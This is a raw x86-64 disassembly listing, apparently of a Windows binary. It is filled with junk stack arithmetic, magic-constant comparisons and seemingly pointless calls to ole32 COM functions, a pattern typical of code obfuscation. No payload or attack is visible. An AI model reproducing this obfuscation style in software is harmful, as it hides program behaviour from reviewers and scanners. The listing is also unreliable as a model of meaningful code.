lea rax, [rsp + 0x6e88]
mov qword [rsp + 0x1a48], rax
mov rax, qword [rsp + 0x1bea8]
mov qword [rsp + 0x1fd68], rax
cmp qword [rsp + 0x1fd68], 0
je 0x14001b397
movabs rax, 0x607a22bc3bfbb8ca
cmp qword [rsp + 0x1fd68], rax
je 0x140148583
jmp 0x14014860d
mov rax, qword [rsp + 0x5618]
mov rax, qword [rax]
mov rdx, qword [rsp + 0xbec0]
add rdx, rax
mov rax, qword [0x14015f9c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6420]
add rax, qword [rcx]
cmp rdx, rax
jne 0x14001b468
lea rax, [rsp + 0x3d10]
mov qword [0x14015e9e8], rax
mov rax, qword [rsp + 0x6420]
mov rax, qword [rax]
mov qword [rsp + 0x1fd70], rax
cmp qword [rsp + 0x1fd70], 0
je 0x14001b3fa
jmp 0x14001b44e
mov rax, qword [rsp + 0x21b8]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x189b4]
sub eax, ecx
mov dword [rsp + 0x16e60], eax
mov dword [rsp + 0x56c8], 0x10300
lea rax, [rsp + 0xaf68]
mov qword [rsp + 0x1b540], rax
movzx ecx, word [rsp + 0x1cd58]
movzx eax, word [rsp + 0x18b28]
xor ecx, eax
mov rax, qword [rsp + 0x1650]
mov word [rax], cx
jmp 0x14001b466
mov rdx, qword [rsp + 0x4c20]
mov rdx, qword [rdx]
mov rcx, qword [rsp + 0xb9d8]
call fcn.140148d70
jmp 0x14001b4b4
lea r9, [rsp + 0x104a0]
lea r8, [rsp + 0x12168]
mov edx, 7
mov rcx, qword [rsp + 0x137e0]
call qword [sym.imp.ole32.dll_IsAccelerator]
mov dword [rsp + 0x47d8], eax
movzx edx, word [rsp + 0x3d10]
mov rax, qword [rsp + 0xddc8]
movzx eax, word [rax]
movzx ecx, al
mov eax, edx
shl eax, cl
mov word [rsp + 0x1cd58], ax
mov rax, qword [rsp + 0x1bea8]
mov qword [rsp + 0x1fd78], rax
cmp qword [rsp + 0x1fd78], 0
je 0x14001b4d4
jmp 0x140148405
mov rax, qword [rsp + 0x5618]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x12d70]
add rax, qword [rcx]
mov qword [0x1401601a8], rax
mov rax, qword [rsp + 0x1b540]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x142e8]
sub rcx, rax
mov rax, qword [rsp + 0x14650]
mov qword [rax], rcx
mov rax, qword [rsp + 0x12d70]
mov rax, qword [rax]
add rax, qword [rsp + 0xbec0]
mov qword [rsp + 0x1cde0], rax
mov rax, qword [rsp + 0x19e88]
movsx edx, word [rax]
mov rax, qword [rsp + 0x100f8]
movsx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0xaa5c], ax
movsx edx, byte [rsp + 0x19d58]
mov rax, qword [rsp + 0x98d8]
movsx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0xc140], al
mov rax, qword [rsp + 0xd3a8]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x18cc0]
movzx eax, byte [rax]
movzx ecx, al
mov eax, edx
shl eax, cl
mov byte [rsp + 0xd6b9], al
movzx ecx, word [rsp + 0x3d10]
movzx eax, word [rsp + 0x1cd58]
xor ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
movsx edx, word [rsp + 0x6d38]
movsx eax, word [rsp + 0x3860]
movzx ecx, al
mov eax, edx
sar eax, cl
mov word [rsp + 0x11a90], ax
mov eax, dword [rsp + 0x17254]
sub eax, 1
mov dword [rsp + 0x17254], eax
mov rcx, qword [rsp + 0x14650]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x1bea8]
or rax, rcx
mov qword [rsp + 0xaf68], rax
mov rcx, qword [rsp + 0x21b8]
mov eax, dword [rsp + 0x17460]
mov ecx, dword [rcx]
and ecx, eax
mov rax, qword [rsp + 0x21b8]
mov dword [rax], ecx
mov rax, qword [rsp + 0x5618]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x12d70]
add rax, qword [rcx]
mov qword [0x1401601a8], rax
mov rcx, qword [rsp + 0x12d70]
mov rax, qword [rsp + 0xd7f0]
mov rcx, qword [rcx]
sub rcx, rax
mov rax, qword [rsp + 0x5618]
mov qword [rax], rcx
movzx edx, byte [rsp + 0x1d4c0]
mov rax, qword [rsp + 0x3020]
movzx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0xb681], al
movsx ecx, byte [rsp + 0x1be30]
movsx eax, byte [rsp + 0xc140]
add ecx, eax
mov rax, qword [rsp + 0x1f1c8]
mov byte [rax], cl
movzx ecx, word [rsp + 0x18b28]
mov rax, qword [rsp + 0x104a0]
movzx eax, word [rax]
and ecx, eax
mov rax, qword [rsp + 0xddc8]
mov word [rax], cx
mov rax, qword [rsp + 0xd3a8]
movzx ecx, byte [rax]
movzx eax, byte [rsp + 0xb681]
sub ecx, eax
mov rax, qword [rsp + 0x18cc0]
mov byte [rax], cl
mov rax, qword [rsp + 0xddc8]
movzx ecx, word [rax]
mov rax, qword [rsp + 0x1650]
movzx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
mov rax, qword [rsp + 0x14650]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x142e8]
sub rcx, rax
mov rax, qword [rsp + 0x4c20]
mov qword [rax], rcx
mov rax, qword [rsp + 0x1a48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6e88]
sub ecx, eax
mov rax, qword [rsp + 0xb370]
mov dword [rax], ecx
cmp dword [rsp + 0x17254], 0x7896
ja 0x14001b4d4
cmp dword [rsp + 0x56c8], 0xe32c
jbe 0x14001bcbb
mov ecx, dword [rsp + 0x189b4]
mov eax, dword [rsp + 0x17460]
or eax, ecx
mov dword [rsp + 0x16e60], eax
mov rax, qword [rsp + 0xbec0]
mov rcx, qword [rsp + 0x14080]
xor rcx, rax
mov rax, qword [rsp + 0x6420]
mov qword [rax], rcx
movsx edx, byte [rsp + 0x1be30]
movsx eax, byte [rsp + 0x19d58]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x19658]
mov byte [rax], cl
movzx edx, byte [rsp + 0x1d4c0]
movzx eax, byte [rsp + 0xb681]
movzx ecx, al
mov eax, edx
shl eax, cl
mov byte [rsp + 0x8ac1], al
mov rax, qword [rsp + 0x19e88]
movsx edx, word [rax]
mov rax, qword [rsp + 0x6078]
movsx ecx, word [rax]
mov eax, edx
and eax, ecx
mov word [rsp + 0x3860], ax
mov rax, qword [rsp + 0xddc8]
movzx eax, word [rax]
movzx ecx, word [0x14015d2cc]
sub eax, ecx
mov word [rsp + 0x1cd58], ax
mov rax, qword [rsp + 0x19e88]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x3860]
sub eax, ecx
mov word [rsp + 0xaa5c], ax
mov rax, qword [rsp + 0x12a38]
mov ecx, dword [rax]
add ecx, dword [rsp + 0x17460]
mov rax, qword [rsp + 0x21b8]
mov dword [rax], ecx
mov rax, qword [rsp + 0x5618]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd7f0]
sub rcx, rax
mov rax, qword [0x14015f9c8]
mov qword [rax], rcx
mov rax, qword [rsp + 0x1a48]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb370]
add eax, dword [rcx]
mov dword [rsp + 0x154d0], eax
mov rcx, qword [rsp + 0xb9d8]
mov rax, qword [rsp + 0x14080]
and rax, rcx
mov qword [rsp + 0x1cde0], rax
mov rax, qword [rsp + 0x1650]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x1cd58]
add ecx, eax
mov rax, qword [rsp + 0x1650]
mov word [rax], cx
mov rax, qword [rsp + 0x6078]
movsx ecx, word [rax]
mov rax, qword [rsp + 0x19e88]
movsx eax, word [rax]
sub ecx, eax
mov rax, qword [rsp + 0x6078]
mov word [rax], cx
movsx ecx, byte [rsp + 0xc140]
mov rax, qword [rsp + 0x19658]
movsx eax, byte [rax]
add ecx, eax
mov rax, qword [rsp + 0x1cd50]
mov byte [rax], cl
movzx edx, byte [rsp + 0x1d4c0]
movzx eax, byte [rsp + 0x8ac1]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0xd3a8]
mov byte [rax], cl
movsx edx, byte [rsp + 0x1be30]
movsx eax, byte [rsp + 0x19d58]
movzx ecx, al
mov eax, edx
sar eax, cl
mov byte [rsp + 0xc140], al
movzx eax, word [rsp + 0x1cd58]
movzx ecx, word [rsp + 0x18b28]
xor eax, ecx
mov word [rsp + 0x112e0], ax
mov rax, qword [rsp + 0x5618]
mov rcx, qword [rsp + 0x6420]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [0x1401601a8], rax
mov rcx, qword [rsp + 0x4c20]
mov rax, qword [rsp + 0x142e8]
mov rcx, qword [rcx]
and rcx, rax
mov rax, qword [rsp + 0x14650]
mov qword [rax], rcx
mov rax, qword [rsp + 0x21b8]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x17460]
sub eax, ecx
mov dword [rsp + 0x189b4], eax
mov rcx, qword [rsp + 0x1a48]
mov rax, qword [rsp + 0xb370]
mov eax, dword [rax]
mov ecx, dword [rcx]
sub ecx, eax
mov rax, qword [rsp + 0x12028]
mov dword [rax], ecx
mov rax, qword [rsp + 0x6078]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xfd20]
add eax, ecx
mov word [rsp + 0x11a90], ax
movsx ecx, byte [rsp + 0xc140]
mov rax, qword [rsp + 0x17808]
movsx eax, byte [rax]
add ecx, eax
mov rax, qword [rsp + 0x12150]
mov byte [rax], cl
movzx ecx, byte [rsp + 0x8ac1]
movzx eax, byte [rsp + 0xd6b9]
add ecx, eax
mov rax, qword [rsp + 0xd3a8]
mov byte [rax], cl
movzx edx, byte [rsp + 0xb681]
mov rax, qword [rsp + 0xd3a8]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rsp + 0xd6b9], al
mov rax, qword [rsp + 0x100f8]
movsx edx, word [rax]
mov rax, qword [rsp + 0x6078]
movsx ecx, word [rax]
mov eax, edx
and eax, ecx
mov word [rsp + 0x6d38], ax
mov rax, qword [rsp + 0x1650]
movzx ecx, word [rax]
mov rax, qword [rsp + 0x104a0]
movzx eax, word [rax]
add ecx, eax
mov rax, qword [0x14015e9e8]
mov word [rax], cx
mov rax, qword [rsp + 0x14650]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x142e8]
shl rax, cl
mov rcx, rax
mov rax, qword [rsp + 0x118c0]
mov qword [rax], rcx
mov rax, qword [rsp + 0x1a48]
mov ecx, dword [rsp + 0xf7cc]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x10b78], eax
mov rax, qword [0x1401601a8]
movzx ecx, al
mov rax, qword [rsp + 0x14080]
sar rax, cl
mov qword [rsp + 0x1cde0], rax
mov rax, qword [rsp + 0xddc8]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x1cd58]
or ecx, eax
mov rax, qword [rsp + 0xddc8]
mov word [rax], cx
mov rax, qword [rsp + 0xddc8]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x3d10]
sub ecx, eax
mov rax, qword [rsp + 0x1650]
mov word [rax], cx
mov rax, qword [rsp + 0xd3a8]
movzx ecx, byte [rax]
mov rax, qword [rsp + 0x18cc0]
movzx eax, byte [rax]
and ecx, eax
mov rax, qword [rsp + 0x3020]
mov byte [rax], cl
mov rax, qword [rsp + 0x6078]
movsx ecx, word [rax]
movsx eax, word [rsp + 0xfd20]
add ecx, eax
mov rax, qword [rsp + 0x19e88]
mov word [rax], cx
movsx ecx, byte [rsp + 0xc140]
movsx eax, byte [rsp + 0x19d58]
sub ecx, eax
mov rax, qword [rsp + 0x19658]
mov byte [rax], cl
mov eax, dword [rsp + 0x56c8]
sub eax, 0x61
mov dword [rsp + 0x56c8], eax
movzx ecx, word [rsp + 0x112e0]
mov rax, qword [rsp + 0x104a0]
movzx eax, word [rax]
add ecx, eax
mov rax, qword [0x14015e9e8]
mov word [rax], cx
mov rcx, qword [rsp + 0x118c0]
mov rax, qword [rsp + 0x4c20]
mov rax, qword [rax]
mov rcx, qword [rcx]
sub rcx, rax
mov rax, qword [rsp + 0x118c0]
mov qword [rax], rcx
mov rax, qword [rsp + 0x12a38]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x3f80]
sub eax, ecx
mov dword [rsp + 0x16e60], eax
mov rax, qword [rsp + 0x14080]
mov rcx, qword [rsp + 0xbec0]
sub rcx, rax
mov rax, qword [rsp + 0x12d70]
mov qword [rax], rcx
mov rax, qword [rsp + 0x12150]
movsx ecx, byte [rax]
movsx eax, byte [rsp + 0x19d58]
add ecx, eax
mov rax, qword [rsp + 0x1228]
mov byte [rax], cl
mov rax, qword [rsp + 0x3020]
movzx ecx, byte [rax]
mov rax, qword [rsp + 0xd3a8]
movzx eax, byte [rax]
and ecx, eax
mov rax, qword [rsp + 0x3020]
mov byte [rax], cl
movzx edx, word [rsp + 0x18b28]
movzx eax, word [0x14015d2cc]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0xddc8]
mov word [rax], cx
mov rax, qword [rsp + 0x6078]
movsx ecx, word [rax]
movsx eax, word [rsp + 0x3860]
or ecx, eax
mov rax, qword [rsp + 0x6078]
mov word [rax], cx
movsx edx, byte [rsp + 0xc140]
movsx eax, byte [rsp + 0x1be30]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x1f1c8]
mov byte [rax], cl
jmp 0x14001b742
mov rax, qword [rsp + 0xb9d8]
mov rdx, qword [rsp + 0x14080]
xor rdx, rax
mov rax, qword [rsp + 0x12d70]
mov rcx, qword [rsp + 0x5618]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
cmp rdx, rax
jle 0x14001bd84
lea r8, [rsp + 0xd3a8]
lea rdx, [rsp + 0x3700]
lea rcx, [rsp + 0x1cde0]
call qword [sym.imp.ole32.dll_CoGetInterfaceAndReleaseStream]
mov dword [rsp + 0x1f36c], eax
mov eax, dword [rsp + 0x154d0]
mov dword [rsp + 0x1fd80], eax
cmp dword [rsp + 0x1fd80], 0x68c52b33
je 0x14001bd32
jmp 0x14001bd67
mov rax, qword [rsp + 0xb9d8]
mov rcx, qword [rsp + 0xbec0]
sub rcx, rax
mov rax, qword [0x14015f9c8]
mov qword [rax], rcx
mov edx, dword [rsp + 0x6e88]
mov rax, qword [rsp + 0x12028]
mov ecx, dword [rax]
call fcn.140012900
jmp 0x14001bd84
mov rax, qword [0x14015f9c8]
mov rcx, qword [rsp + 0xb9d8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xbec0], rax
cmp dword [rsp + 0x8168], 0xa5ec
ja 0x14001c037
mov rax, qword [rsp + 0x4c20]
mov rax, qword [rax]
add rax, qword [rsp + 0x142e8]
mov qword [rsp + 0xaf68], rax
mov rdx, qword [rsp + 0x1ef10]
mov rax, qword [rsp + 0x21b8]
mov ecx, dword [rax]
mov eax, dword [rdx]
sub eax, ecx
mov dword [rsp + 0x189b4], eax
mov rax, qword [rsp + 0x1650]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x18b28]
add ecx, eax
mov rax, qword [rsp + 0xddc8]
mov word [rax], cx
mov eax, dword [rsp + 0x8168]
add eax, 0x2a
mov dword [rsp + 0x8168], eax
mov rax, qword [rsp + 0x98d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1be30]
add eax, ecx
mov byte [rsp + 0xc140], al
mov rax, qword [rsp + 0x18cc0]
movzx ecx, byte [rax]
movzx eax, byte [rsp + 0xd6b9]
add ecx, eax
mov rax, qword [rsp + 0x3020]
mov byte [rax], cl
mov rax, qword [rsp + 0x6078]
movsx edx, word [rax]
mov rax, qword [rsp + 0x19e88]
movsx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rsp + 0xaa5c], ax
mov rax, qword [rsp + 0x100f8]
movsx edx, word [rax]
mov rax, qword [rsp + 0x19e88]
movsx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0x3860], ax
mov rax, qword [rsp + 0x5618]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb9d8]
sub rcx, rax
mov rax, qword [0x14015f9c8]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x4c20]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0xaf68]
or rax, rcx
mov qword [rsp + 0x1bea8], rax
mov eax, dword [rsp + 0x3f80]
mov ecx, dword [rsp + 0x16e60]
xor ecx, eax
mov rax, qword [rsp + 0x21b8]
mov dword [rax], ecx
mov rax, qword [rsp + 0xb370]
mov ecx, dword [rax]
mov rax, qword [rsp + 0x12028]
mov eax, dword [rax]
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x12028]
mov dword [rax], ecx
movsx edx, byte [rsp + 0x1be30]
mov rax, qword [rsp + 0x98d8]
movsx eax, byte [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x1cd50]
mov byte [rax], cl
mov rax, qword [rsp + 0xd3a8]
movzx ecx, byte [rax]
movzx eax, byte [rsp + 0xb681]
and ecx, eax
mov rax, qword [rsp + 0xd3a8]
mov byte [rax], cl
movzx eax, word [rsp + 0x1cd58]
movzx ecx, word [0x14015d2cc]
add eax, ecx
mov word [rsp + 0x18b28], ax
mov rax, qword [rsp + 0xd3a8]
movzx ecx, byte [rax]
movzx eax, byte [rsp + 0xb681]
add ecx, eax
mov rax, qword [rsp + 0x3020]
mov byte [rax], cl
movsx eax, byte [rsp + 0x1be30]
movsx ecx, byte [rsp + 0xc140]
and eax, ecx
mov byte [rsp + 0x19d58], al
mov rcx, qword [rsp + 0x5618]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x1cde0]
sub rax, rcx
mov qword [0x1401601a8], rax
mov rcx, qword [rsp + 0xaf68]
mov rax, qword [rsp + 0x1bea8]
sub rax, rcx
mov qword [rsp + 0x142e8], rax
mov rax, qword [rsp + 0x12a38]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x16e60]
sub eax, ecx
mov dword [rsp + 0x189b4], eax
mov rax, qword [rsp + 0x1a48]
mov ecx, dword [rax]
add ecx, dword [rsp + 0x154d0]
mov rax, qword [rsp + 0x1a48]
mov dword [rax], ecx
movsx eax, word [rsp + 0x11a90]
movsx ecx, word [0x14015d2c8]
add eax, ecx
mov word [rsp + 0x6d38], ax
movzx edx, word [rsp + 0x112e0]
mov rax, qword [rsp + 0xddc8]
movzx ecx, word [rax]
mov eax, edx
or eax, ecx
mov word [rsp + 0x1cd58], ax
jmp 0x14001bd84
mov rax, qword [rsp + 0x1650]
movzx eax, word [rax]
mov dword [rsp + 0x1fd84], eax
cmp dword [rsp + 0x1fd84], 0
je 0x14001c069
cmp dword [rsp + 0x1fd84], 0x3d6
je 0x140148360
jmp 0x1401483e7
mov rcx, qword [rsp + 0x118c0]
mov rax, qword [rsp + 0x142e8]
mov rcx, qword [rcx]
sub rcx, rax
mov rax, qword [rsp + 0x1b540]
mov qword [rax], rcx
lea rax, [rsp + 0x3f80]
mov qword [rsp + 0x1e6e8], rax
cmp dword [rsp + 0x8f8c], 0x5d5f
jb 0x14001c38c
mov rdx, qword [rsp + 0x12028]
mov rax, qword [rsp + 0xb370]
mov ecx, dword [rax]
mov eax, dword [rdx]
sub eax, ecx
mov dword [rsp + 0x6e88], eax
movzx eax, byte [rsp + 0xd6b9]
movzx ecx, byte [rsp + 0x1d4c0]
add eax, ecx
mov byte [rsp + 0xb681], al
mov rax, qword [rsp + 0x104a0]
movzx ecx, word [rax]
mov rax, qword [rsp + 0x1650]
movzx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
movsx edx, word [rsp + 0x6d38]
mov rax, qword [rsp + 0x19e88]
movsx ecx, word [rax]
mov eax, edx
and eax, ecx
mov word [rsp + 0x11a90], ax
mov rax, qword [rsp + 0x1228]
movsx ecx, byte [rax]
movsx eax, byte [rsp + 0x1be30]
add ecx, eax
mov rax, qword [rsp + 0x12150]
mov byte [rax], cl
mov rax, qword [rsp + 0xddc8]
movzx ecx, word [rax]
mov rax, qword [rsp + 0x1650]
movzx eax, word [rax]
sub ecx, eax
mov rax, qword [rsp + 0xddc8]
mov word [rax], cx
mov rax, qword [rsp + 0x19e88]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x3860]
add eax, ecx
mov word [0x14015d2c8], ax
mov rcx, qword [rsp + 0x5618]
mov rax, qword [rsp + 0x6420]
mov rax, qword [rax]
mov rcx, qword [rcx]
sub rcx, rax
mov rax, qword [rsp + 0x5618]
mov qword [rax], rcx
mov rax, qword [rsp + 0x4c20]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x1bea8]
shl rax, cl
mov qword [rsp + 0x142e8], rax
mov rax, qword [rsp + 0x1a48]
mov ecx, dword [rax]
mov eax, dword [rsp + 0xf7cc]
xor eax, ecx
mov dword [rsp + 0x6e88], eax
movzx ecx, word [rsp + 0x18b28]
movzx eax, word [rsp + 0x1cd58]
or ecx, eax
mov rax, qword [rsp + 0x1650]
mov word [rax], cx
mov rax, qword [rsp + 0xd3a8]
movzx edx, byte [rax]
movzx eax, byte [rsp + 0x1d4c0]
movzx ecx, al
mov eax, edx
sar eax, cl
mov byte [rsp + 0x8ac1], al
movsx eax, word [rsp + 0x11a90]
movsx ecx, word [rsp + 0x3860]
and eax, ecx
mov word [rsp + 0x6d38], ax
mov rax, qword [rsp + 0x98d8]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x19658]
movsx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x19d58], al
movsx edx, byte [rsp + 0x19d58]
mov rax, qword [rsp + 0x1f1c8]
movsx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rsp + 0x1be30], al
mov rcx, qword [rsp + 0x12a38]
mov eax, dword [rsp + 0x17460]
mov ecx, dword [rcx]
sub ecx, eax
mov rax, qword [rsp + 0x12a38]
mov dword [rax], ecx
mov rcx, qword [0x14015f9c8]
mov rax, qword [rsp + 0x1cde0]
mov rcx, qword [rcx]
sub rcx, rax
mov rax, qword [0x14015f9c8]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x12d70]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x6420]
add rcx, qword [rax]
mov rax, qword [rsp + 0x12d70]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x118c0]
mov rax, qword [rsp + 0x1bea8]
mov rcx, qword [rcx]
and rcx, rax
mov rax, qword [rsp + 0x1b540]
mov qword [rax], rcx
mov rax, qword [rsp + 0xddc8]
movzx ecx, word [rax]
mov rax, qword [rsp + 0x1650]
movzx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
mov eax, dword [rsp + 0x8f8c]
sub eax, 0xc4
mov dword [rsp + 0x8f8c], eax
mov rax, qword [rsp + 0x3020]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x8ac1]
sub eax, ecx
mov byte [rsp + 0xd6b9], al
movzx edx, word [rsp + 0x1cd58]
mov rax, qword [rsp + 0xddc8]
movzx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0x3d10], ax
mov rax, qword [rsp + 0x19658]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x17808]
movsx ecx, byte [rax]
mov eax, edx
xor eax, ecx
mov byte [rsp + 0xc140], al
jmp 0x14001c09a
mov rax, qword [rsp + 0xaf68]
mov rdx, qword [rsp + 0x4c20]
movzx ecx, al
mov rdx, qword [rdx]
shr rdx, cl
mov rax, qword [rsp + 0x1b540]
mov rcx, qword [rsp + 0x14650]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
cmp rdx, rax
jae 0x14001c525
lea rdx, [rsp + 0x8ac1]
lea rcx, [rsp + 0x13e10]
call qword [sym.imp.ole32.dll_StringFromIID]
mov dword [rsp + 0x18ea4], eax
mov rax, qword [rsp + 0x12d70]
mov rax, qword [rax]
mov qword [rsp + 0x1fd88], rax
movabs rax, 0x1048490224515599
cmp qword [rsp + 0x1fd88], rax
je 0x14001c4cb
movabs rax, 0x205b4db95be8527b
cmp qword [rsp + 0x1fd88], rax
je 0x14001c428
jmp 0x14001c520
mov rax, qword [rsp + 0x18cc0]
movzx ecx, byte [rax]
movzx eax, byte [rsp + 0xd6b9]
add ecx, eax
mov rax, qword [rsp + 0xd3a8]
mov byte [rax], cl
mov rdx, qword [rsp + 0x6420]
mov rdx, qword [rdx]
add rdx, qword [rsp + 0x14080]
mov rcx, qword [rsp + 0x5618]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0xbec0]
add rax, rcx
cmp rdx, rax
jg 0x14001c4c9
mov rax, qword [rsp + 0x6420]
mov rcx, qword [rsp + 0x1cde0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd7f0], rax
mov rax, qword [rsp + 0x6420]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd7f0]
sub rcx, rax
mov rax, qword [0x14015f9c8]
mov qword [rax], rcx
mov rax, qword [rsp + 0x1a48]
mov edx, dword [rax]
mov ecx, dword [rsp + 0x6e88]
call fcn.140012120
jmp 0x14001c520
lea rax, [rsp + 0x12028]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0x20
lea rax, [rsp + 0x12950]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xf0
mov r9d, 0xc
lea r8, [rsp + 0x189b4]
lea rdx, [rsp + 0x154d0]
lea rcx, [rsp + 0x5618]
call qword [sym.imp.ole32.dll_CoGetInstanceFromFile]
mov dword [rsp + 0x16ef8], eax
jmp 0x14001c623
mov rax, qword [rsp + 0xb370]
mov eax, dword [rax]
movzx ecx, al
mov edx, dword [rsp + 0xf7cc]
shl edx, cl
mov rax, qword [rsp + 0x12028]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x154d0]
and eax, ecx
cmp edx, eax
jle 0x14001c623
mov rax, qword [rsp + 0x14650]
mov rcx, qword [rsp + 0x1b540]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x1bea8], rax
mov rax, qword [rsp + 0x1e6e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x17460]
and ecx, eax
mov rax, qword [rsp + 0x21b8]
mov dword [rax], ecx
mov rax, qword [rsp + 0x5618]
mov rax, qword [rax]
mov qword [rsp + 0x1fd90], rax
movabs rax, 0x710e42101aa7a821
cmp qword [rsp + 0x1fd90], rax
je 0x14001c5d1
movabs rax, 0x778c9c9535b5c097
cmp qword [rsp + 0x1fd90], rax
je 0x14001c603
jmp 0x14001c623
lea rdx, [rsp + 0xb700]
lea rcx, [rsp + 0x4390]
call qword [sym.imp.ole32.dll_CoGetObjectContext]
mov dword [rsp + 0x14708], eax
mov edx, dword [rsp + 0x6e88]
mov ecx, dword [rsp + 0x10b78]
call fcn.140012120
jmp 0x14001c623
movzx ecx, word [rsp + 0x1cd58]
mov rax, qword [rsp + 0x1650]
movzx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
mov rax, qword [rsp + 0x100f8]
movsx ecx, word [rax]
movsx eax, word [rsp + 0xfd20]
or ecx, eax
mov rax, qword [rsp + 0x6078]
mov word [rax], cx
movzx eax, byte [rsp + 0x1d4c0]
mov byte [rsp + 0x10e00], al
mov rax, qword [rsp + 0x3020]
mov al, byte [rax]
mov byte [rsp + 0x1fd98], al
cmp byte [rsp + 0x1fd98], 0
je 0x14001c680
cmp byte [rsp + 0x1fd98], 0x10
je 0x14001c74e
jmp 0x14001c769
movsx eax, word [0x14015d2c8]
mov dword [rsp + 0x1fd9c], eax
cmp dword [rsp + 0x1fd9c], 0
je 0x14001c6aa
cmp dword [rsp + 0x1fd9c], 0x7d87
je 0x14001c71f
jmp 0x14001c74c
movsx edx, word [rsp + 0x6d38]
movsx eax, word [rsp + 0xfd20]
movzx ecx, al
mov eax, edx
shl eax, cl
mov word [rsp + 0x11a90], ax
movsx ecx, word [rsp + 0x3860]
movsx eax, word [rsp + 0x11a90]
xor ecx, eax
mov rax, qword [rsp + 0x6078]
mov word [rax], cx
mov rax, qword [0x1401601a8]
mov qword [rsp + 0x19448], rax
mov rax, qword [rsp + 0x1a48]
mov ecx, dword [rax]
mov rax, qword [rsp + 0xb370]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x154d0], eax
mov dword [rsp + 0x195d8], 0x37a4
jmp 0x14001c74c
lea r9, [rsp + 0xd6b9]
lea r8, [rsp + 0x3700]
lea rdx, [rsp + 0x12028]
lea rcx, [rsp + 0xb9d8]
call qword [sym.imp.ole32.dll_CoGetObject]
mov dword [rsp + 0x16238], eax
jmp 0x14001c769
mov rax, qword [rsp + 0x1b540]
mov rax, qword [rax]
add rax, qword [rsp + 0x1bea8]
mov qword [rsp + 0xaf68], rax
mov dword [rsp + 0x4878], 0x72d8
lea rax, [rsp + 0x189b4]
mov qword [rsp + 0x1a00], rax
cmp dword [rsp + 0x1cfb8], 0xdd48
je 0x14001c941
movsx edx, word [rsp + 0xaa5c]
mov rax, qword [rsp + 0x6078]
movsx ecx, word [rax]
mov eax, edx
and eax, ecx
mov word [rsp + 0x6d38], ax
mov rax, qword [rsp + 0x12150]
movsx ecx, byte [rax]
movsx eax, byte [rsp + 0xc140]
add ecx, eax
mov rax, qword [rsp + 0x1cd50]
mov byte [rax], cl
movzx ecx, byte [rsp + 0x1d4c0]
movzx eax, byte [rsp + 0xb681]
